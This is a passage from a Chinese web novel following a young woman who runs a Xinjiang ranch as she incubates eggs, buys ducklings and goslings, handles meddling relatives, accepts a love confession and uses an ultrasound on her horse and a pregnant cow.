师月江老实去干活，还顺手拉上了在一旁很是无措的袁则瑞。 “她忙起来就顾不上你了，你跟我一起干活吧！” 袁则瑞干巴巴地嗯了一声，“你人还怪好的呢！” 师月江不理他，阴阳怪气！ 姚新泉懒得理他们之间的小火花，她此时正在检查鸡蛋，之前只是粗略看了一下，此时看着鸡蛋中不少的表面都有许多粪便附着，姚新泉忍不住皱起了眉头。 她小心找了块儿干布轻轻在蛋壳表面擦拭，万幸附着的不算紧，能轻易擦掉。 蛋壳表面如果有大面积粪便之类的可能会导致气孔堵塞，还有可能导致细菌感染，所以必须得清洁干净，但是又不能用水去擦拭，用水擦会破坏鸡蛋表层的天然保护膜。 她小心翼翼地将擦拭好的鸡蛋放置到一边，继续检查。 第68章 姚新泉记得读书的时候旁听过一门《家禽学》,虽然说因为不是自己的课程导致有些实验不能亲手去做，但是她该学的东西可一点都没少学。 因为珍珠鸡的鸡蛋比普通鸡蛋要小一点，所以姚新泉不敢通过轻轻敲击鸡蛋听声音从而确定蛋壳上是否有裂纹,她拿出了个小手电筒对着鸡蛋检查确定没有裂纹的放到一边,有裂纹的放到另一边。 另外正常的珍珠鸡蛋表面应该是均匀的,没有凹凸或者过薄过厚的地方。 形状畸形的就更不用说了,淘汰！ 袁则瑞的目光不由自主地被姚新泉所吸引,这个模样的姚新泉是他从未见过的,他直到此时才真真切切地感受到，姚新泉已经过上了不一样的人生，和从前完全不一样。 可是她是专注又快乐的。 “变化很大吗？” 袁则瑞看了师月江一眼，轻轻嗯了一声,“她从前工作学习都很认真,是她们那一批新人里最优秀的,可是那时候你跟她相处不会觉得她身上有这么旺盛的生命力。” 师月江笑了一下，也没多说什么，等给孵蛋器消毒之后就开始预热。 晚上他也没等姚新泉,自己先去做饭了,摊了些蛋饼又炒了个土豆丝。 “你回家也没多久，这是去进修了一下厨艺？”姚新泉有点惊讶,味道确实不错,虽然这东西只要不过咸或者过淡就算想难吃也难吃不到哪里去的！ “我就学了些家常菜,还带了两本菜谱回来,你到时候忙起来我也不一定能帮得上别的忙，给你做做后勤工作还是可以的。” 姚新泉看了他一眼，瞧这话说的可真懂事啊！ 袁则瑞晚上一声不吭地吃完晚饭，等师月江去洗碗的时候他才看向姚新泉,“我打算明天就走。” “不多留两天了？” 袁则瑞笑着摇了摇头，“总共假期也没几天，来回路上都得耽搁一半了。” 姚新泉了然地点头，如今飞机不是普通人坐得起的，正常来说还是得坐火车，但如果坐火车的话从上海来新省那真是长途啊！ “这段时间我刚好忙也顾不上陪你，还拉着你一起干活，等下次你再过来玩，我把时间安排好，好好带你转一转！” 袁则瑞笑着点头，可他自己心里清楚，他不会再来的。 他也不觉得自己的这种想法不对，他对大城市有执念，不管因为什么原因，不管因为谁他都不会想留在农村的。 “周老师让我给你带了几本书过来，她知道你转行了，所以专门去找了相关教授给你要来的书，之前没来得及给你。” 姚新泉没去在意他到底是没来得及还是之前不想给她，这都不重要，“行，那辛苦你大老远背过来了，明天我送你去火车站？” 袁则瑞摇了摇头，“你送我去汽车站就成，这条路我也认识了，到了汽车站我自己坐车走就成。” 姚新泉也没跟他客气，她现在确实忙，今天晚上给孵蛋器预热，明天一大早把蛋送进去，家里让师月江盯着，自己打算去看看那个卖鹅苗的养殖户。 伊犁鹅的产蛋期差不多就是3月到4月，孵化期1个月左右，所以4月5月是雏鹅孵化的主要阶段，人工孵化的话会稍微提早一点。 她打算先去预定好，别到时候想买的时候都被别人订走了。 第二天一早姚新泉送了袁则瑞去车站，袁则瑞进站前看着她沉默了一会儿还是问，“那位师先生是你男朋友吗？” 姚新泉没有承认也没有否认，袁则瑞看了她一会儿最终还是释然地笑了，“我明白你的意思，不重要了。” 是啊，不重要了，不管对方是谁，自己一开始就失去了争取的可能。 “我走了，你照顾好自己，有机会回来看看。我虽然没什么太大的本事，但是如果有什么需要的你还是可以找我！” 姚新泉看着袁则瑞很是郑重地点了点头，“学长，祝你前程似锦！”也希望你能找到自己真正想要的。 袁则瑞的离开并没有给她带来太多的不舍，人生不就是这样的嘛，总是伴随着许多的分离？ 在离开上海的时候她本以为大家日后再不会有任何交集了，这一次的见面都算是意外之喜了，又有什么好不舍的？ 她按照系统提供的地址找去了一家贩卖伊犁鹅鹅苗的老板家里，老板姓夏，叫夏世辉，听说姚新泉的来意后赶忙带着她往里走。 “老板想要多少只鹅苗？公母有要求吗？”他家养鹅在当地时出了名的，早年刚搬到这边来的时候在生产队里就专门负责养鹅，后来可以搞私人养殖了，他家不仅做繁育，也每年往外卖不少肉鹅，名声是打得出去的。 但问题是比起养鹅，其实想要饲养家禽的养殖户一般都会更倾向于饲养鸡鸭，尤其是鸡。 那养鸡成本多低啊！饲料转化率也高，平均算下来最多两个月就能出栏。 而且不管啥时候都有人要买鸡吃，这玩意儿市场稳定，只要你养，那肯定能卖得出去！ 如果有水源的话，比起养鹅来说养鸭子似乎性价比更高一下。鸭子的饲料转化率虽然比鸡低，但是比鹅高啊！ 而且相对来说生长周期比鹅要短一些。 这两年南方那边还出了什么羽绒服，就是用鸭绒做的，所以现在养鸭子不仅能吃肉，还能卖羽绒，这经济价值就更高了。 养鹅呢？饲料转化率低，生长周期长，也需要一定的放牧条件，虽然说单价高，但是综合下来如果图短期回报或者中长期的稳定收入，那肯定是鸡鸭更合适。 养鹅利润确实不低，可市场还得自己想办法打通啊！当然了，自家养一两只吃一吃还是没问题的！ 姚新泉想了想，“老板确定能看出公母啊！” 夏世辉拍了拍胸脯，脸上表情很是自信，“我们家养了这么多年鹅了，这都是手拿把掐的！” 他说得轻松，但是姚新泉知道这都得要十足的经验才能判断的。比方说在雏鹅阶段，可以通过□□鉴别法去判断公母，或者是通过外形来，毕竟公鹅的头一般会比较大，脖子粗，叫声也更难听尖锐一些。母鹅的话头会相对小一些，叫声也轻柔一点。 等鹅再大一些的话通过行为跟外形就比较分辨了，特别是头上的肉瘤，公鹅的比母鹅的大一圈。 “那等鹅孵出来之后我要10只公鹅90只母鹅吧！” 夏世辉了然，“老板是想做肉用是吧？”他心里还挺高兴的，如果是肉用的话，那之后肯定还会持续从他这边进鹅苗，长久生意啊！ 不怪他这么想，可能和鸡不太一样，母鹅增重会比公鹅快，而且相对来说肉质也更细腻。除此之外公鹅吃得还多，饲料成本也会更高。 “是啊，那你这边鹅苗是什么价格呢？” “你如果孵出来就过来接的话，公鹅苗一只给你2块，母鹅苗要2.4，算下来应该是200多块钱。你正常饲养的话，三天之内如果有死亡的那我是包换的。” 姚新泉点了点头，价格是合适的，“那行，那我留个电话，老板你这边鹅苗准备好了你跟我说一声。” 等安排好之后她想了想又去了陈二雷家，也就是饲养草原绿头鸭的那个老板那里，还没进门就听见里面的吵架了。 “你别跟我瞎胡扯，你说鸭子卖掉了就卖掉了？卖掉了还能在你这儿养着？我看你就是不孝顺，老娘吃你只鸭子你都叽叽歪歪，我回去就跟老娘说，她真是白疼你这么多年了！” 陈二雷怒火中烧，他冷笑一声，“是老娘吃还是你们吃你当我不知道？别说这鸭子已经是人家的了，就算是我自己家的，你以后再想从我家带走一根鸭毛，我就不姓陈！” “滚滚滚，赶紧给老子滚！你要是不滚我去铲两车粪倒你脑袋上！” 姚新泉推开门后陈二雷两人看了过来，姚新泉朝他点了点头，“陈老板，我听这意思是有人想抓我的鸭子是吧？” 陈二雷点了点头脸上很不好看，“姚老板你放心，这鸭子说好了我再帮你养几天的，你钱都给我了，那我肯定是不可能让人碰一下的！” 陈大雷没想到他说得竟然是真的，这下脸色不好看了，老二这日子过成什么样了，竟然把家底都卖了？他不会之后还要跟自己借钱吧？ 想到这里他什么都不争辩了扭头就走。 跟他做了这么多年兄弟，陈二雷还能不知道他是个什么人？ 他懒得管这人，只是看向姚新泉，“姚老板，你是想把鸭子带走了吗？你要的鸭苗都孵出来了。” 半个月前姚新泉就已经买下他家的鸭子了，只是因为天气还冷着，而且山上的海拔比这边要高，温度会相对更低一点，所以两人谈好了鸭子还是先由他养着，他得帮忙做孵化，姚新泉给他一笔辛苦费，等天气暖和一些之后再把鸭子运回去。 本来姚新泉只是先来看看的，但是现在她觉得让别人帮忙饲养还是有挺多麻烦的。 现在已经四月初了，山下温度中午的时候已经有十四五度，但是山上的时候也就六七度，稍微还有点冷，不过问题不太大，家养几天也成。 “先去看看鸭苗吧！” 第69章 因为打定主意要卖鸭子,所以陈二雷就留了2只公鸭子跟20只母鸭子，姚新泉找到他的时候他家里刚处理掉一批鸭子，家里差不多有200枚受精的鸭蛋,还没想 好要不要孵化。 刚好姚新泉要,所以他就帮着让母鸭子做孵化,如今已经出壳了。 “昨天晚上陆陆续续开始出壳,到早晨已经全都出壳了,200枚蛋除了挤压坏了的7枚以及孵不出来的8枚以外,剩下185只小鸭子全部出壳。” 他推开孵化室的门，里面温度比外面要高一些，姚新泉看过去就见一群浑身覆盖黄色或者黄褐色绒毛，只有尾巴和翅膀部分有一点儿绿色纹路的鸭苗在嘎嘎叫着。 雏鸭的声音一点都不难听,反而觉得挺可爱的,小小一只,行动很是敏捷。 “那行，我今天就运回去吧，你看你是帮我找个车还是怎么样？你这边有能保暖的东西吗？还有箱子？我是什么都没带来,你的笼子我也一起买了吧！” 陈二雷这才发现姚新泉可能不是过来接鸭子的,他有点尴尬，不知道是不是因为自己的家事闹得人家不信任他了。 陈二雷暗暗叹了口气打起精神来,“村里有拖拉机,我去借用一下,家里有专门给他们保暖用的被子,裹上短时间没问题的。” 等拖拉机到牧场，看到跟着狗狗军团还有皮皮平安过来迎接她的师月江时她表情有点无奈，她确实只是想去送个人来着！ 几人把小鸭子跟母鸭以及两只公鸭放到空置的羊圈里，把小鸭子们围在垫了干麦草的一片区域后姚新泉才有功夫跟他解释。 听罢师月江也理解了,“你选好在哪里养鸡鸭鹅了吗？” 姚新泉点头，“鸡也就罢了，鸭子跟鹅都得在有水源的地方，我圈出了一片区域，那段河水很平缓，小鸭子下去应该也不至于有问题。到时候再挖条浅一点的水渠，让鸡可以在水渠里喝水，这样咱们就不用天天去喂水了。” 知道她心里有数师月江便放心了，“不过还得搭棚子吧？下雨的时候得躲躲雨”，别以为鸭子跟鹅就不怕下雨，小雨倒无所谓，雨大的话一样会生病的。 “过会儿就去请人来帮忙吧！”姚新泉叹气，本来打算先搭棚子的，结果现在可好，又是刚破壳的小鸭子，又是孵化鸡蛋，事情一茬一茬跟着来。 “天暖和起来了，地也得翻一下，我得联系下协会那边看看上回说的青贮玉米种子什么时候能到，我到时候再问问看有没有苜蓿种子，没有的话我还得去找找，咱们还得种点儿菜”，最晚四月底这些就都要种下去了，不然会耽误农时的。 看着她虽然嘴上叫着发愁，但是有条不紊地安排着牧场里的一切，师月江只觉得心跳得愈发快了。 “有什么要我干的吗？” 姚新泉毫不客气地点头，“当然了，家里一堆事情要你操心！” 细毛羊还得再过半个月左右可以放出去在地势平缓一些的地方散养，母牛的话这段时间倒是能出去短暂放一阵，不过六月份就不能散养了。母牛妊娠期差不多九个半月，家里的牛基本上五月底六月就要生了。 还有湖羊，目前还在调整它们的身体状态，湖羊本身就属于常年发情的品种，春秋季算是发情高峰期，等它们身体状况调整好差不多应该不用人工干预就能发情。 杜泊羊也差不多快到了，隔离一段时间顺便也调整调整状态，估计5月能开始配。 期间偶尔散养一下倒也行，但一样得补充饲料。 “牛羊马的话可以让马合木提江他们过来喂，你帮我盯一下翻地的事情还有盖棚子的事情吧！我这段时间主要关注一下家里鸡鸭鹅的问题”，她摸了摸跟在自己身后的平安，幸好小家伙如今不需要什么特殊照顾了，等时间慢慢恢复即可，给她省了不少事情。 平安蹭了蹭她，他跟皮皮不一样，皮皮成天瞎跑，牧羊犬们是有工作任务的，她就纯粹瞎玩。 姚新泉跟师月江回去看小鸭子，陈二雷家的笼子是自制的，有食槽跟水槽，她清洗了一下后把放凉一些的温开水倒给它们，水槽很浅，倒不用担心小鸭子溺水，随后又给它们配了一些高蛋白粮。 如今屋里温度还是不够，姚新泉又把已经撤掉的炉子翻了出来，要保证屋里温度有30度左右，之后每周降低三四度直到它们适应室温。 看着一个个小家伙吃喝正常的模样姚新泉满意地笑了，饲养员就喜欢小家伙们吃好喝好。 如果只是家养的话其实没这么复杂，要是圈养也不需要专门配饲料，弄点麸皮再剁点小草什么的它们一样吃得嘎嘎香，哪里像她一样又是豆粕又是麸皮又是骨粉的，还不嫌麻烦呢！ 可搞规模化养殖就是要科学养殖，找到最合适的饲料配比，这样才能让牲畜或者家禽健康地长肉。 万幸师月江买的这种孵蛋器算是如今市面上最先进的了，根本不需要手动操作，自己差不多会保证每天6-12次的翻蛋频率，不过他们得去看看设备是不是正常运转，万一出了岔子还能及时补救。 姚新泉有些懊恼，“我昨天去市里的时候就应该在协会问一下青贮的事情，结果给忘了！” 师月江忙安抚她，“你昨天都做了多少事情了，效率够高了，而且不也没耽误事情吗？” 姚新泉点了点头，两人回到客厅后正准备做饭就听到电话响了，姚新泉去接了后没一会儿便笑着过来了。 “事情解决啦！” 师月江也被她带的笑了起来，“怎么了，是青贮的事情？” “可不是嘛，你怎么什么都能猜得到？会长跟我说青贮种子已经送到了，我明天可以去拿，刚好我小姑每周三要去市里进货，我让她给我带过来”，说完又跑去给姚晓洁打了个电话，这才高高兴兴回来跟师月江一起做饭。 想到什么她突然问，“你就没什么想问我的？” 师月江先是愣了一下，随即明白过来她的意思了，他笑了笑，心里也起了逗弄对方的想法，“我是不是应该说一句早知他来我就不来了？” 姚新泉哈哈大笑，手上的面差点儿断掉在地上。 两人今晚吃拉条子，师月江在切配菜，姚新泉在搓面，她不会扯，总是端。等他那边切好之后姚新泉接过了掌厨的位置，“等以后你学会了再说吧，拉条子我估计你不会做。” 牛肉提前腌好的，此时在锅中倒油，油热后下牛肉，油可以多一些，不然怎么叫过油肉呢！ 等牛肉变色后将肉盛出再倒入姜蒜煸炒，本来应该放西红柿的，但是家里没西红柿所以只能算了，又倒入剩余的辣椒皮牙子等配菜最后倒入炒好的牛肉，最后再倒入适当调料后一道家常不正宗的过油肉便炒好了。 姚新泉看着端出来的菜尴尬一笑，“我觉得应该不会难吃，但都没放西红柿，应该也不能叫过油肉了。” 另一个灶台上师月江正在煮面，闻言只是笑了一声，“那有什么关系？放了肉还放了那么多调料配菜怎么也不会难吃啊！” 这也就是这两年条件好了，早几年谁家舍得放这么多油？ 姚新泉笑着点头，又把自己买的糖蒜夹了两头出来，“回头咱们可以自己做。” 师月江自己不会这些，就觉得看起来什么都会的姚新泉真的特别能干，他把面给对方盛好，又把放凉了的小家伙们的饭给它们端过去，姚新泉撑着下巴看他忙碌，她很确定自己就是心动的。 她也曾想过两个人是真的喜欢彼此吗？这个问题她之前没有办法给自己一个明确的答案，比起说喜欢或者爱，可能用好感更合适，可现在她很确定自己是喜欢他的。 也许是他出现的时机很合适，在父母去世后的第一个冬天、第一个春节，在那样大雪封山没有办法和外界联系的密闭的环境里，他们共同度过了3个多月。 每日同吃同住，家务事一起做，牛羊一起饲养，一起聊天一起读书，他们整日整日地黏在一起。 姚新泉不喜欢现在流行的那种奶油小生，也不喜欢曾经流行的那种很正的国字脸或者很硬的长相，她喜 欢清秀干净却又要带着一些男性魅力的人。 师月江刚好符合，他的外表看上去如果忽略他的个子甚至会显得有一些文弱。可读书加参军这么些年下来，他身上是带着普通人没有的一股很特别的气质的。 再加上他很明显经历过一些不太好的事情，不是都说女人一旦心疼男人就是动心的开始吗？师月江偶尔流露出的脆弱很难让人不心疼。 长得好、性格好、人品也没问题，姚新泉不觉得自己对他动心有什么好奇怪的。 不过若是对方离开，那也就仅此而已了，可他回来了。 姚新泉不知道对方喜欢自己哪一点，但是不妨碍想到这里她便心情很好。 师月江看过来地时候她朝对方灿烂一笑，师月江懵了一下随即也跟着笑了。 第70章 姚晓洁接到姚新泉的电话后都没有迟疑便答应了下来,邓建发等她挂了电话后才问，“怎么了，新泉那边有什么事情吗？” 他有点担心,姚新泉一个小姑娘自己在山上,会不会有狼啊？ 见他那副样子姚晓洁没忍住翻了个白眼,“你的胆子就跟你儿子一样大！” 为什么这样说呢？ 从把邓志荣接回来上学开始,才发现那小子身上一身都是从他奶奶那里学来的臭毛病。 之前姚晓洁没想着闹得太难看,所以日子也就勉强这样过着,可如今这日子既然过不下去了，她怎么可能再忍下去？ 那死老太婆被吓走了一次，以后谁知道还会不会犯病？到了那时候肯定得自己来抗争！邓建发没个屁用！ 所以现在她也顾不得那么多了，一定要把邓志荣身上的臭毛病都板正过来。 自从发现他怕姚新泉之后姚晓洁凡是在他闹腾的时候就说,“那我给你表姐打电话让她过来”,这话一出邓志荣瞬间老实。 没办法啊,奶奶都救不了自己，难道爸爸妈妈还会救自己吗？ “新泉让我明天帮她带个东西，我反正也要骑车去,到时候顺带带回来就成！” 第二天把种子带回来后姚晓洁还专门跑了商场去给她买了两套春天的衣服,又给她带了些零食米面蔬菜，反正又装了大半个车斗这才上山。 邓建发还有点迟疑,“要不要再给新泉带点肉,你再给她带点洗发水、香皂、洗洁精这些,家里都有,她在山上也没地儿买。” 姚晓洁满意地看了他一眼，这个男人确实有很多不好的地方，但是他对自己和自己家人都足够赤忱，仅这一点她就愿意跟他继续过下去。 姚晓洁已经很久没来牧场了,三轮车一停下就看到围栏里面四五条狗冲着自己叫，她“妈呀”一声赶紧往后退。 姚新泉听到动静后过来见是她赶忙笑着给她开门，“你别怕，都是我养的牧羊犬，不会攻击人的。” 姚晓洁半信半疑地跟在她身后进了牧场，见他们虽然对自己好奇，但是没扑也没咬终于放下心来。 “你养几条大狗也挺好的，这样你自己一个咱们也能放心些！” “怎么我听着牧场那边动静还不小？里面干嘛呢？” 姚新泉见状干脆带着她往里面走，此时正在翻那块儿菜地呢！ “我之前不是给你们送了点儿菜吗，就是在这片地里。不过现在春天能种的多了，我打算再开一点，到时候我这地里西红柿、辣椒、黄瓜、豆角、茄子、小白菜这些都有了，我夏天秋天不用买菜，到时候还能晒点菜干呢！” 看了眼姚新泉，又看了眼那边的机器跟人，姚晓洁心里更高兴了，孩子自己过日子有规划这比什么都好！ 可见着那边一个人直直向两人走来姚晓洁的目光也忍不住被他吸引。 对方个子很高，她家邓建发178，对方比邓建发还要高大半个头了吧！ 身上穿着一套黑色的衣服，还带着一股冷峻的气息。 可隔着口罩看到他那弯弯的眉眼姚晓洁又摇了摇头，像是个好脾气的孩子。 “小姑你好，我叫师月江，是新泉的朋友。” 姚晓洁愣了一下，“新泉，是你朋友？” 他们县面积不小，可人确实不多。她在县里开店，不说哪儿哪儿的人都认识，但是如果哪里有长得好的年轻人她肯定是知道的。 刚才只看个头不小，但把口罩取下来后发现长得也不错，这种模样的巴郎子她不可能没听说过！ 姚新泉看了师月江一眼，这改口倒挺快的，“对，我朋友。” 几人往回走，见师月江径直去了哥哥嫂子的屋子姚晓洁眼睛都瞪大了，她把姚新泉拉到一边，“你跟我好好说说怎么回事？他真是你朋友？怎么住在家里？你们是什么关系？到底是朋友还是对象？” 姚晓洁语重心长道，“你也不是小孩子了，你现在谈朋友我们也不会拦着，但是你不能住在一起啊，这，这，你这会让人说闲话的！” 姚新泉让她坐下给她倒了杯水，示意她别紧张，可她下一句话就让姚晓洁跳了起来。 “我们在山上干什么别人哪里管得着？” 姚晓洁瞪着她半天不知道说什么，想说重话可这是自己大哥唯一的孩子她也不忍心啊！ 想了想她一拍桌子，“你年纪小不懂事，他也不懂事吗？我找他去！” 姚新泉想了想倒没非要阻止，他们两人坦坦荡荡没什么见不得人的。 师月江回去换了一双鞋刚出门就碰到姚晓洁，姚晓洁横了他一眼示意他跟上自己。 让两人坐在沙发上后姚晓洁这才板起脸来问道，“你叫什么名字，哪里人？家里还有谁？什么学历？什么工作？” 师月江看了姚新泉一眼，还没说话便给姚晓洁喝止了，“别交头接耳的！” 师月江只好看向她，“我叫师月江，今年25岁，北京人，父母还在世但是离婚了，家里就我跟我哥两个。本科毕业，去年刚退伍，目前还没出去工作。” 这一听姚晓洁就不高兴了，学历倒还不错，可没工作啊！ 北京人又怎么样，姚新泉又不愿意过去！ 另外父母还离婚了，她虽然不歧视离婚的人，但是想也知道，孩子在父母之间夹着肯定很难过。 还有就是他是外地人，会不会只是跟姚新泉玩一玩就走了？到时候留她自己在这，他跑了，上哪儿找去？ 总的来说姚晓洁不是很满意。 按她的性子她其实有点想棒打鸳鸯的，可是当目光对上姚新泉那似笑非笑的眼神后不知怎么又住嘴了。 她算是个强势的性子，哥哥嫂子脾气好，所以娘家的事情她虽然嫁出去了但是也没少掺和，但是她自问没坏心，也没在哥哥嫂子之间挑拨，只是总喜欢说两句。 她确实喜欢也很疼爱这个大侄女，但是也不得不承认，这孩子从小就不是一个会受欺负的性子，自己一旦多说了两句她就能给自己顶回来。 她哥哥嫂子又是个疼孩子的，觉得孩子没说错，为什么要指责她？ 所以其实从小到大自己没少被这个侄女呲儿！ 再加上上次自己那个便宜婆婆的事情还是她给解决的，姚晓洁愈发觉得自己没有说话的底气了，显得自己好像窝里横一样！ 她清了清嗓子，想说些违心的话可又确实不想说，半晌赌气般地哼了一声，“反正你也从来没听过我的，我不管你了，我跟你小叔还有你小姨说，让他们来管你！” 说完转身就走，可想到车上的东西又扭头瞪了师月江一眼，“跟我过来把东西搬进来！” 师月江见姚新泉点头便也跟着去搬东西了。 姚新泉坐在沙发上看着姚晓洁的背影，她倒是不知道姚晓洁是怎么想的，如果知道的话那肯定要说，你没想错，你就是窝里横！ 她爸跟姚晓刚两人脾气都好，因为父母早逝，家里就一个姑娘又是最小的，两人从来都是有什么好的都留给她。 她妈比姚晓洁大了有十来岁，不说跟养女儿一样那也差不多了，也不计较她的一些小性子，一家人把姚晓洁惯得不行。 要是她真强悍到底也就算了，可人家不是啊！ 她看上邓建发的时候家里人是不同意的，主要就是因为邓建发的性格跟他的家庭。 邓建发的性格说好听一点那是温和，说不好听就是窝囊，家里又是那么个情况，姚晓洁真碰上横的了又不敢作声，两人不得被欺负死？ 可人家就是乐意能怎么办？ 她闹着要嫁，家里人也拗不过她，只能同意了。 反正在姚新泉印象中，姚晓洁就是大毛病没有，小毛病一堆，她对自己确实不错，但是姚晓洁在她这里没什么长辈的威严。 她要是好声好气也就算了，真摆出审讯犯人一样的态度，姚新泉才不理她呢！ 等师月江把东西扛回来之后 他看着姚新泉欲言又止，“你等着吧，我小姨一家还有我小叔肯定没多久就来了！” 师月江站在那里有些无措，半晌他还是咬了咬牙，“你还记得我上次在电话你跟你说让你等我，我回来有话要讲吗？” 姚新泉对上他的目光后没有回避，只是轻轻点了点头。 “之前我离开的时候我是希望自己不在你身边的时候能更清楚地想明白我到底是真的喜欢你还是只是习惯”。 当觉得一切都没意思的自己遇到了活力满满每天好像做一百件事也不觉得疲惫反而乐在其中的姚新泉时，他的目光不可避免会被对方吸引。 昆虫有趋光性，人也有。 “可当我离开之后我便明白了，其实没有区别，也没有必要区分，因为我就是喜欢你，我也习惯在你身边待着，哪怕什么都不做，什么都不说，只是静静待着。” “我是一个失败的人，我放弃了自己曾经的理想，那一度让我陷入崩溃，可跟你在一起的每一分每一秒都让我觉得快乐，让我觉得我是活着的。我才发现原来我胸腔里的心还会跳动，没有跟着他们一起死去。” “我知道你不会离开这里，我也愿意留下来，不是自我感动或者觉得我为你付出了什么，而是我喜欢这里。” “这里的人，这里的动物，这里的一切都让我觉得很放松。无论你接不接受我，我都不会觉得我这是为你付出为你做了什么，我也不会要求你必须对此负责。” 师月江懊恼地抿了抿唇，“我可能不太会说话，人的生命是短暂却又脆弱的”，他的拳头握紧了又松开，松开又握紧，心情复杂却又不知道说什么。 此时他懊恼甚至怀疑自己曾经读的那些书是不是都读到狗肚子里去了，他真的学过语文吗？他真的考上大学了吗？正在他努力想该怎么去表达自己是真的喜欢她，希望她无论答不答应都不要有负担的时候就感觉自己的手突然被牵了起来。 姚新泉朝他笑了笑，“我不会因为别人的付出而觉得有负担，因为那不是我勉强的，也不是我要求的。我也不会接受不喜欢的人对自己的示好，你愿意留下来对吗？” 师月江用力点头，此时他心跳如鼓，眼睛一眨不眨地盯着她，期待听到自己想要的答案。 “那咱们先试试吧！” 砰！ 师月江听到烟花在耳边炸开！ 然后姚新泉就发现，他从脸到耳朵到脖子全都红了起来，她轻笑着碰了碰师月江的耳垂，便被他握住了手。 “新泉，我会好好对你的！” 姚新泉笑着点头，可心里想的却是，在自己的牧场上她如果还能受委屈或者被欺负了，那可真是白活了！ 70-80 第71章 张运秋看着在自己一群人面前侃侃而谈的姚晓洁有些无语,毫不掩饰自己的不耐烦翻了个白眼。 “张运秋你什么意思？你笑什么笑？”姚晓洁不高兴了，柳眉倒竖。 “我笑你把别人都当傻子！你现在这个鬼样子，我就不信你在新泉面前没胡说八道些什么！看你这态度就知道新泉肯定都没鸟你,那你现在过来是想干嘛？撺掇我们去出头？” 姚晓洁跟被踩中了痛脚一样,她站起来便骂,“你是不是脑子有病？新泉找了个不靠谱的人我就不信你不急？也是了,我们是姑姑叔叔的,你只是个姨夫而已,你能有多疼新泉？” “晓洁！”姚晓刚不悦地瞪了她一眼，这个妹妹真是越大越不知所谓了！ “姚老师你看看你妹妹这张嘴，我是姨夫，但我自问对新泉的看重不比你们少,她没必要拿这事儿来激我！” “新泉不是不懂事的孩子,咱们现在连两人是不是在处对象都不知道在这讨论什么？就算是,那孩子眼明心亮的，我就不信她会找不靠谱的！” “姚晓洁上来就不分青红皂白撺掇咱们去棒打鸳鸯，那是为了啥？还不是因为她不喜欢那个男孩儿？”他不否认姚晓洁疼爱姚新泉,但是事情不是这样做的！ 人孩子都成年了,都自己立业了，她手伸那么长是想干嘛？ 也就是他家苏老师不在,要是在的话肯定跟姚晓洁掐起来！ 别看苏老师看着温柔没什么脾气,但要是姚晓洁敢在她面前说什么姨不如姑亲的屁话,她肯定要上去扯头发的！ 没看到他家张新康都是跟着新泉的辈分走得吗？ 他们才是一家人！ “姚老师你是个明白人,我跟你说话，咱要是不放心咱就自己上去看看，这成不成的咱俩不说历尽千帆吧，但至少也活了三四十年了,总不可能说是连这都看不明白！咱俩明白人去给孩子把把关成不？” 姚晓刚赶忙点头，“行，刚好我请了假出来的，咱现在就去？” 两人出发了把姚晓洁扔在后面跺脚。 张运秋出了姚晓洁家超市就开始撇嘴，“你说姐夫把你教的挺好的，怎么她这个样子？” 姚晓刚尴尬一笑，他不想说妹妹的坏话，但是妹妹确实不太着调。 姚新泉虽然不知道她姑父和小叔正在来的路上但是也心里有数，他们肯定回来，不过她不在乎，自己的事情只要她坚持，没有人能改变。 此时两人正在研究那套便携式超声仪的使用呢！ “西门子的，不便宜吧？” 师月江摇了摇头，“我不是特别清楚，我大哥把每年的分红还有我的零花钱都给我打到了卡上，我让秘书直接去刷卡的。” 姚新泉啧啧两声，有钱人啊！ 平安受伤到现在已经一个半月了，解开石膏也有一周了，不知道是不是因为金手指的原因，正常情况他两个月都未必能勉强走路，但现在平安只要不剧烈跳动，跟在她身后在牧场里走来走去竟然一点问题都没有。 算起来比人骨折恢复还快了…… 姚新泉有点心慌，刚好师月江带了超声仪过来，她就想着用用看，看看他腿伤的恢复情况。 “你研究下说明书啊，我只是看人家操作过，但我没用过”，姚新泉自己则是蹲在一遍把平安伤腿上的毛剃干净再用酒精消毒。 本来师月江说是他来的，但是她有点担心平安会不会控制不住给他一脚。 师月江点了点头拿出说明书看了起来，“我之前用过，跟这个有点区别，但是问题不大。” 正常检查的时候应该要把马固定住，但是平安很乖也很有灵性，姚新泉只是安抚了他一会儿之后就站在一边等着师月江操作。 他把电源接好，又把耦合剂涂抹好，确保探头能够跟马腿接触良好，他一边缓慢移动探头，一边看着显示器上。 “有了有了，有图像了！”姚新泉拍了下手凑过去看。 师月江缓慢地移动着探头，一边小心观察着上面的图像，“我只看过人的，不确定正常马腿应该是什么样的。” 姚新泉顺嘴道，“巧了不是，我只看过牲畜的。” 她指着图像道，“你看，他这里骨折线已经很模糊了，骨膜也在增厚，骨折处表面可见高回声骨膜隆起，恢复的确实很不错。” 姚新泉很高兴，她用力揉了一把平安的脑袋，“乖孩子你怎么这么棒啊！” 平安大大的眼睛中似乎也满是笑意，他把头塞到了姚新泉怀里用力蹭，蹭的她都往后退了两步，师月江揽住她，两人相视一笑。 “不照一下我都不放心，现在终于能确定只要后续不再有 意外，他的腿肯定是能恢复如初的”，说着她又把杜若林那边的想法告诉了师月江，师月江听罢点了点头，“也挺好的，新省这边地理位置特殊，跟他们搭上关系那是只有好处的！” 既然都用了超声仪，两人又顺带给母牛们也用一下检查胎儿情况，母羊就算了，怀孕时间太短，两个半吊子未必能看得懂。 姚新泉把母牛拉过来安抚好了它的情绪后也没固定住它，因为现在已经算是到了妊娠中后期，也不需要用直肠探查法，用腹壁探查法就成。 “你还别说，要是用直肠探查法的话，我还真有点儿心里障碍”，姚新泉叹气，那得要给母牛清理肠道，排空直肠分辨，然后把直肠探头置入直肠内。她虽然没有洁癖但确实有点心理障碍。 “没事儿，那以后我来”，师月江安抚道。 姚新泉弯了弯嘴角没说什么，但心情很好。 不过其实也不一定非要用那种办法。 系统可以继续给她借用探查术让她确定牛是否确实怀孕了，那就不需要在可能怀孕三四十天的时候去检查。 母牛妊娠两个月之后其实就可以用腹壁探查法了，一样能看得到胎儿的情况跟数量，对她没什么太大的影响。 姚新泉在母牛腹部的位置小心剃毛，母牛感受到了些许不适，忍不住回过头来看，姚新泉摸了摸它的鼻子，母牛蹭了蹭后还是安静了下来。 “家里小动物都很喜欢你”，师月江感慨，姚新泉淡笑不语。 等涂好耦合剂后她一手持探头缓缓在肚子上移动，眼睛则是注意着黑白显示器。 “有了有了，看到胎心了！一个，感觉还挺健康的呢！”两人都是第一次在实操的过程中通过黑白屏幕感受到一个新生命，都很是惊奇，盯着图像看了半天，直到母牛轻轻动了动图像发生变化两人才相视一笑。 